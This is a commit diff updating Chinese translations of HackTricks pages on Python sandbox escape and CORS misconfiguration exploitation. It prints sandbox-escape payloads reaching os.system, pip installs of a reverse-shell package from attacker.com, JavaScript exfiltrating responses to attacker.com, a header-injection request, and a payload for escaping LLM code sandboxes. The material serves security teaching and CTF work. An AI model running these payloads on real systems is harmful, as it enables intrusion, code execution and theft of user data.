mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['generic-methodologies-and-resources/python/bypass-python-sa
This commit is contained in:
parent
9de12d6f66
commit
d79e8b18d8
3 changed files with 95 additions and 74 deletions
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**从黑客的角度审视您的网络应用、网络和云**
|
||||
|
||||
|
@ -60,7 +60,7 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
记住,_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** 来 **绕过** 沙箱。
|
||||
记住,_**open**_ 和 _**read**_ 函数可以用于 **读取文件** 在 python 沙箱内,并 **编写一些代码** 你可以 **执行** 以 **绕过** 沙箱。
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Python2 input()** 函数允许在程序崩溃之前执行 python 代码。
|
||||
|
@ -74,7 +74,7 @@ Python 尝试 **首先从当前目录加载库**(以下命令将打印 python
|
|||
|
||||
### 默认包
|
||||
|
||||
你可以在这里找到 **预安装包的列表**: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
你可以在这里找到 **预安装包的列表**: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
请注意,从一个 pickle 中你可以使 python 环境 **导入系统中安装的任意库**。\
|
||||
例如,以下 pickle 在加载时将导入 pip 库以使用它:
|
||||
```python
|
||||
|
@ -89,13 +89,13 @@ return (pip.main,(["list"],))
|
|||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
有关 pickle 工作原理的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
有关pickle如何工作的更多信息,请查看此链接: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip 包
|
||||
### Pip包
|
||||
|
||||
技巧由 **@isHaacK** 分享
|
||||
技巧由**@isHaacK**分享
|
||||
|
||||
如果您可以访问 `pip` 或 `pip.main()`,您可以安装任意包并通过调用获得反向 shell:
|
||||
如果您可以访问`pip`或`pip.main()`,您可以安装任意包并通过调用获得反向shell:
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
|
@ -111,7 +111,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
|||
## Eval-ing python code
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意,exec 允许多行字符串和“;”,但 eval 不允许(检查海象运算符)
|
||||
请注意 exec 允许多行字符串和“;”,但 eval 不允许(检查海象运算符)
|
||||
{% endhint %}
|
||||
|
||||
如果某些字符被禁止,您可以使用**十六进制/八进制/B64**表示法来**绕过**限制:
|
||||
|
@ -201,11 +201,11 @@ class _:pass
|
|||
```
|
||||
### RCE 创建对象和重载
|
||||
|
||||
如果你可以 **声明一个类** 并 **创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用它们** 的情况下被 **触发**。
|
||||
如果你可以 **声明一个类** 并 **创建该类的对象**,你可以 **编写/覆盖不同的方法**,这些方法可以在 **不需要直接调用它们** 的情况下 **被触发**。
|
||||
|
||||
#### 使用自定义类的 RCE
|
||||
|
||||
你可以修改一些 **类方法**(_通过覆盖现有类方法或创建一个新类_),使它们在 **触发** 时 **执行任意代码**,而无需直接调用它们。
|
||||
你可以修改一些 **类方法**(_通过覆盖现有类方法或创建一个新类_),使它们在 **被触发** 时 **执行任意代码**,而无需直接调用它们。
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
|
@ -274,7 +274,7 @@ Sub['import os; os.system("sh")']
|
|||
```
|
||||
#### 创建带有异常的对象
|
||||
|
||||
当**异常被触发**时,**Exception**的一个对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)的一个技巧):
|
||||
当**异常被触发**时,**Exception**的一个对象会被**创建**,而无需您直接调用构造函数(来自[**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)的技巧):
|
||||
```python
|
||||
class RCE(Exception):
|
||||
def __init__(self):
|
||||
|
@ -340,7 +340,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
当你没有 `__builtins__` 时,你将无法导入任何内容,甚至无法读取或写入文件,因为 **所有的全局函数**(如 `open`、`import`、`print`...)**都没有加载**。\
|
||||
然而,**默认情况下,python 会在内存中导入很多模块**。这些模块看起来可能是无害的,但其中一些 **也在内部导入危险** 的功能,可以被访问以获得 **任意代码执行**。
|
||||
|
||||
在以下示例中,你可以观察到如何 **滥用** 一些被加载的 "**无害**" 模块,以 **访问** **危险** **功能**。
|
||||
在以下示例中,你可以观察到如何 **滥用** 一些加载的 "**无害**" 模块,以 **访问** **危险** **功能**。
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -382,7 +382,7 @@ get_flag.__globals__['__builtins__']
|
|||
# Get builtins from loaded classes
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
|
||||
```
|
||||
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **位置**,您可以找到 **内置函数**。
|
||||
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **地方**,您可以找到 **内置函数**。
|
||||
|
||||
#### Python2 和 Python3
|
||||
```python
|
||||
|
@ -424,11 +424,11 @@ class_obj.__init__.__globals__
|
|||
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
|
||||
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||
```
|
||||
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 用于查找数十/**数百**个 **位置**,您可以找到 **globals**。
|
||||
[**下面有一个更大的函数**](./#recursive-search-of-builtins-globals) 来查找数十/**数百**个 **位置**,您可以找到 **globals**。
|
||||
|
||||
## 发现任意执行
|
||||
|
||||
在这里,我想解释如何轻松发现 **更危险的功能** 并提出更可靠的利用方法。
|
||||
在这里,我想解释如何轻松发现 **加载的更危险功能** 并提出更可靠的利用。
|
||||
|
||||
#### 通过绕过访问子类
|
||||
|
||||
|
@ -467,7 +467,7 @@ defined_func.__class__.__base__.__subclasses__()
|
|||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||
```
|
||||
有很多,**我们只需要一个**来执行命令:
|
||||
有很多,我们只需要一个来执行命令:
|
||||
```python
|
||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||
```
|
||||
|
@ -686,7 +686,7 @@ main()
|
|||
|
||||
## Python 格式字符串
|
||||
|
||||
如果您**发送**一个**字符串**给 python,该字符串将被**格式化**,您可以使用 `{}` 来访问**python 内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
|
||||
如果您**发送**一个将要被**格式化**的**字符串**给python,您可以使用`{}`来访问**python内部信息。** 您可以使用之前的示例来访问全局变量或内置函数,例如。
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
|
@ -706,7 +706,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
注意你可以通过 **点** 的方式正常 **访问属性**,例如 `people_obj.__init__`,而 **字典元素** 则可以用 **括号** 访问,不需要引号 `__globals__[CONFIG]`。
|
||||
注意你可以通过 **点** 的方式正常 **访问属性**,例如 `people_obj.__init__`,并且通过 **括号** 访问 **字典元素**,不带引号 `__globals__[CONFIG]`。
|
||||
|
||||
还要注意,你可以使用 `.__dict__` 来枚举对象的元素 `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`。
|
||||
|
||||
|
@ -752,18 +752,22 @@ secret_variable = "clueless"
|
|||
x = new_user.User(username='{i.find.__globals__[so].mapperlib.sys.modules[__main__].secret_variable}',password='lol')
|
||||
str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
来自 [这里](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### 从格式到 RCE 加载库
|
||||
|
||||
根据[**这篇文章中的 TypeMonkey 挑战**](https://corgi.rip/posts/buckeye-writeups/),可以通过利用 Python 中的格式字符串漏洞从磁盘加载任意库。
|
||||
根据 [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/),可以通过利用 Python 中的格式字符串漏洞从磁盘加载任意库。
|
||||
|
||||
作为提醒,每当在 Python 中执行某个操作时,都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
|
||||
作为提醒,每次在 Python 中执行操作时,都会执行某个函数。例如 `2*3` 将执行 **`(2).mul(3)`** 或 **`{'a':'b'}['a']`** 将是 **`{'a':'b'}.__getitem__('a')`**。
|
||||
|
||||
在[**没有调用的 Python 执行**](./#python-execution-without-calls)部分中还有更多类似的内容。
|
||||
在 [**Python execution without calls**](./#python-execution-without-calls) 部分中还有更多类似的内容。
|
||||
|
||||
Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 这样获得 RCE。\
|
||||
Python 格式字符串漏洞不允许执行函数(不允许使用括号),因此无法像 `'{0.system("/bin/sh")}'.format(os)` 那样获得 RCE。\
|
||||
然而,可以使用 `[]`。因此,如果一个常见的 Python 库具有 **`__getitem__`** 或 **`__getattr__`** 方法来执行任意代码,则可以利用它们来获得 RCE。
|
||||
|
||||
在 Python 中寻找这样的 gadget,文章提供了这个[**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)。他发现了这个[例子](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
在 Python 中寻找这样的 gadget,写作提供了这个 [**Github 搜索查询**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code)。他发现了这个 [一个](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
|
@ -920,7 +924,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
注意,如果**您无法在python沙箱中导入`dis`**,您可以获取函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。您将看不到正在加载的变量的内容(`LOAD_CONST`),但您可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉您正在加载的变量的偏移量。
|
||||
注意,**如果你无法在python沙箱中导入`dis`**,你可以获取函数的**字节码**(`get_flag.func_code.co_code`)并在本地**反汇编**它。你不会看到正在加载的变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)中推测它们,因为`LOAD_CONST`也会告诉正在加载的变量的偏移量。
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -991,7 +995,7 @@ types.CodeType.__doc__
|
|||
### 重建泄露的函数
|
||||
|
||||
{% hint style="warning" %}
|
||||
在以下示例中,我们将直接从函数代码对象获取重建函数所需的所有数据。在一个**真实的例子**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**。
|
||||
在以下示例中,我们将直接从函数代码对象获取重建函数所需的所有数据。在一个**真实示例**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**内容。
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -1005,7 +1009,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### 绕过防御
|
||||
|
||||
在本文开头的前几个例子中,您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以 **在一行中执行整个脚本**,包括循环和其他内容(我们也可以使用 **`exec`** 做同样的事情)。\
|
||||
在本文开头的前几个示例中,您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以 **在一行中执行整个脚本**,包括循环和其他内容(我们也可以使用 **`exec`** 做同样的事情)。\
|
||||
无论如何,有时在本地机器上 **创建** 一个 **编译对象** 并在 **CTF 机器** 上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。
|
||||
|
||||
例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
|
||||
|
@ -1045,7 +1049,7 @@ f(42)
|
|||
```
|
||||
## 反编译已编译的 Python
|
||||
|
||||
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以 **反编译** 给定的已编译 Python 代码。
|
||||
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具可以 **反编译** 给定的已编译 Python 代码。
|
||||
|
||||
**查看这个教程**:
|
||||
|
||||
|
@ -1058,7 +1062,7 @@ f(42)
|
|||
### 断言
|
||||
|
||||
使用参数 `-O` 执行的 Python 将删除断言语句和任何基于 **debug** 值的条件代码。\
|
||||
因此,检查像
|
||||
因此,像这样的检查
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
|
@ -1078,11 +1082,11 @@ print(f"\nNot a Super User!!!\n")
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**从黑客的角度看待您的网络应用程序、网络和云**
|
||||
**从黑客的角度看待您的网络应用、网络和云**
|
||||
|
||||
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -25,24 +25,24 @@
|
|||
|
||||
**同源** 策略要求 **请求** 资源的服务器和托管 **资源** 的服务器共享相同的协议(例如,`http://`)、域名(例如,`internal-web.com`)和 **端口**(例如,80)。在此策略下,仅允许来自同一域和端口的网页访问资源。
|
||||
|
||||
在 `http://normal-website.com/example/example.html` 的上下文中应用同源策略如下所示:
|
||||
在 `http://normal-website.com/example/example.html` 的上下文中,同源策略的应用如下所示:
|
||||
|
||||
| 访问的 URL | 是否允许访问? |
|
||||
| ----------------------------------------- | ------------------------------------- |
|
||||
| `http://normal-website.com/example/` | 是:相同的协议、域名和端口 |
|
||||
| `http://normal-website.com/example2/` | 是:相同的协议、域名和端口 |
|
||||
| `https://normal-website.com/example/` | 否:不同的协议和端口 |
|
||||
| `http://en.normal-website.com/example/` | 否:不同的域名 |
|
||||
| `http://www.normal-website.com/example/` | 否:不同的域名 |
|
||||
| `http://normal-website.com:8080/example/` | 否:不同的端口\* |
|
||||
| 访问的 URL | 允许访问? |
|
||||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | 是:相同的协议、域名和端口 |
|
||||
| `http://normal-website.com/example2/` | 是:相同的协议、域名和端口 |
|
||||
| `https://normal-website.com/example/` | 否:不同的协议和端口 |
|
||||
| `http://en.normal-website.com/example/` | 否:不同的域名 |
|
||||
| `http://www.normal-website.com/example/` | 否:不同的域名 |
|
||||
| `http://normal-website.com:8080/example/` | 否:不同的端口\* |
|
||||
|
||||
\*Internet Explorer 在执行同源策略时忽略端口号,因此允许此访问。
|
||||
|
||||
### `Access-Control-Allow-Origin` 头
|
||||
|
||||
此头可以允许 **多个源**、**`null`** 值或通配符 **`*`**。然而,**没有浏览器支持多个源**,并且使用通配符 `*` 受到 **限制**。(通配符必须单独使用,且与 `Access-Control-Allow-Credentials: true` 一起使用是不允许的。)
|
||||
此头可以允许 **多个源**、**`null`** 值或通配符 **`*`**。然而,**没有浏览器支持多个源**,并且通配符 `*` 的使用受到 **限制**。(通配符必须单独使用,且与 `Access-Control-Allow-Credentials: true` 一起使用是不允许的。)
|
||||
|
||||
此头是 **由服务器发出** 的,以响应由网站发起的跨域资源请求,浏览器会自动添加 `Origin` 头。
|
||||
此头是 **由服务器** 在响应由网站发起的跨域资源请求时发出的,浏览器会自动添加 `Origin` 头。
|
||||
|
||||
### `Access-Control-Allow-Credentials` 头
|
||||
|
||||
|
@ -81,11 +81,11 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
在特定条件下发起跨域请求时,例如使用 **非标准 HTTP 方法**(除了 HEAD、GET、POST 以外的任何方法)、引入新的 **头部**,或使用特殊的 **Content-Type 头部值**,可能需要进行预检请求。这个初步请求利用 **`OPTIONS`** 方法,旨在通知服务器即将到来的跨源请求的意图,包括它打算使用的 HTTP 方法和头部。
|
||||
|
||||
**跨源资源共享 (CORS)** 协议要求进行此预检检查,以确定请求的跨源操作的可行性,通过验证允许的方法、头部和来源的可信度。有关哪些条件可以绕过预检请求的详细理解,请参考 [**Mozilla 开发者网络 (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) 提供的综合指南。
|
||||
**跨源资源共享 (CORS)** 协议要求进行此预检检查,以确定请求的跨源操作的可行性,通过验证允许的方法、头部和来源的可信度。有关哪些条件可以绕过预检请求的详细理解,请参考 [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) 提供的综合指南。
|
||||
|
||||
需要注意的是,**缺少预检请求并不意味着响应不需要携带授权头部**。没有这些头部,浏览器将无法处理来自跨源请求的响应。
|
||||
|
||||
考虑以下示例,展示了一个旨在使用 `PUT` 方法和名为 `Special-Request-Header` 的自定义头部的预检请求:
|
||||
考虑以下旨在使用 `PUT` 方法以及名为 `Special-Request-Header` 的自定义头部的预检请求示例:
|
||||
```
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
|
@ -94,7 +94,7 @@ Origin: https://example.com
|
|||
Access-Control-Request-Method: POST
|
||||
Access-Control-Request-Headers: Authorization
|
||||
```
|
||||
作为响应,服务器可能会返回指示接受的方法、允许的来源和其他CORS策略细节的头部,如下所示:
|
||||
作为响应,服务器可能会返回指示接受的方法、允许的来源和其他CORS策略细节的头,如下所示:
|
||||
```markdown
|
||||
HTTP/1.1 204 No Content
|
||||
...
|
||||
|
@ -117,7 +117,7 @@ Access-Control-Max-Age: 240
|
|||
### **本地网络请求预检请求**
|
||||
|
||||
1. **`Access-Control-Request-Local-Network`**: 此头部包含在客户端的请求中,以表明该请求是针对本地网络资源的。它作为一个标记,通知服务器请求源自本地网络内。
|
||||
2. **`Access-Control-Allow-Local-Network`**: 作为响应,服务器利用此头部来传达请求的资源被允许与本地网络外的实体共享。它作为跨越不同网络边界共享资源的绿灯,确保在维护安全协议的同时实现受控访问。
|
||||
2. **`Access-Control-Allow-Local-Network`**: 作为响应,服务器利用此头部来传达请求的资源被允许与本地网络外的实体共享。它作为跨越不同网络边界共享资源的绿灯,确保在维护安全协议的同时控制访问。
|
||||
|
||||
一个**有效的响应允许本地网络请求**还需要在响应中包含头部 `Access-Controls-Allow-Local_network: true` :
|
||||
```
|
||||
|
@ -147,7 +147,7 @@ Access-Control-Allow-Credentials: true
|
|||
|
||||
## 可利用的错误配置
|
||||
|
||||
已观察到将 `Access-Control-Allow-Credentials` 设置为 **`true`** 是大多数 **真实攻击** 的前提条件。此设置允许浏览器发送凭据并读取响应,从而增强攻击的有效性。如果没有这个,利用用户的 cookies 的好处就会减少,因为利用用户的 cookies 变得不可行。
|
||||
已观察到,将 `Access-Control-Allow-Credentials` 设置为 **`true`** 是大多数 **真实攻击** 的先决条件。此设置允许浏览器发送凭据并读取响应,从而增强攻击的有效性。如果没有这个,利用浏览器发出请求的好处就会减少,因为利用用户的 cookies 变得不可行。
|
||||
|
||||
### 例外:利用网络位置作为身份验证
|
||||
|
||||
|
@ -170,7 +170,7 @@ location='/log?key='+this.responseText;
|
|||
```
|
||||
### 利用 `null` 源
|
||||
|
||||
`null` 源在重定向或本地 HTML 文件等情况中指定,具有独特的地位。一些应用程序将此源列入白名单以促进本地开发,无意中允许任何网站通过沙箱 iframe 模仿 `null` 源,从而绕过 CORS 限制。
|
||||
`null` 源在重定向或本地 HTML 文件等情况中指定,具有独特的地位。一些应用程序将此源列入白名单以便于本地开发,无意中允许任何网站通过沙箱 iframe 模仿 `null` 源,从而绕过 CORS 限制。
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -210,7 +210,7 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
|
|||
|
||||
### 从子域名中的 XSS
|
||||
|
||||
开发人员通常实施防御机制,以通过白名单允许请求信息的域名来保护免受 CORS 利用。尽管采取了这些预防措施,但系统的安全性并非万无一失。在白名单域名中,即使存在一个脆弱的子域名,也可能通过其他漏洞(如 XSS(跨站脚本))打开 CORS 利用的大门。
|
||||
开发人员通常实施防御机制,以通过白名单允许请求信息的域名来保护免受 CORS 利用。尽管采取了这些预防措施,系统的安全性并非万无一失。在白名单域名中,即使存在一个脆弱的子域名,也可能通过其他漏洞(如 XSS(跨站脚本))打开 CORS 利用的大门。
|
||||
|
||||
例如,考虑一个场景,其中域名 `requester.com` 被列入白名单以访问另一个域名 `provider.com` 的资源。服务器端配置可能如下所示:
|
||||
```javascript
|
||||
|
@ -238,7 +238,7 @@ HTTP/2 200 OK
|
|||
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
Safari 对于接受域名中的特殊字符更加宽松:
|
||||
Safari 在接受域名中的特殊字符方面甚至更加宽松:
|
||||
```
|
||||
GET / HTTP/2
|
||||
Cookie: <session_cookie>
|
||||
|
@ -251,13 +251,19 @@ Cookie: <session_cookie>
|
|||
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
|
||||
Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **其他有趣的 URL 技巧**
|
||||
|
||||
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
|
||||
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### **服务器端缓存中毒**
|
||||
|
||||
[**来自这项研究**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
通过HTTP头注入利用服务器端缓存中毒,有可能诱发存储的跨站脚本(XSS)漏洞。当应用程序未能清理`Origin`头中的非法字符时,这种情况就会发生,特别是对Internet Explorer和Edge用户而言。这些浏览器将(0x0d)视为合法的HTTP头终止符,从而导致HTTP头注入漏洞。
|
||||
通过 HTTP 头注入利用服务器端缓存中毒,可能会引发存储的跨站脚本(XSS)漏洞。当应用程序未能清理 `Origin` 头中的非法字符时,这种情况就会发生,特别是对 Internet Explorer 和 Edge 用户而言。这些浏览器将 (0x0d) 视为合法的 HTTP 头终止符,从而导致 HTTP 头注入漏洞。
|
||||
|
||||
考虑以下请求,其中`Origin`头被操控:
|
||||
考虑以下请求,其中 `Origin` 头被操纵:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
|
||||
|
@ -272,7 +278,7 @@ Content-Type: text/html; charset=UTF-7
|
|||
|
||||
有关存储型 XSS 漏洞的进一步阅读,请参见 [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored)。
|
||||
|
||||
**注意**:利用 HTTP 头注入漏洞,特别是通过服务器端缓存中毒,强调了验证和清理所有用户提供输入(包括 HTTP 头)的重要性。始终采用包括输入验证在内的强大安全模型,以防止此类漏洞。
|
||||
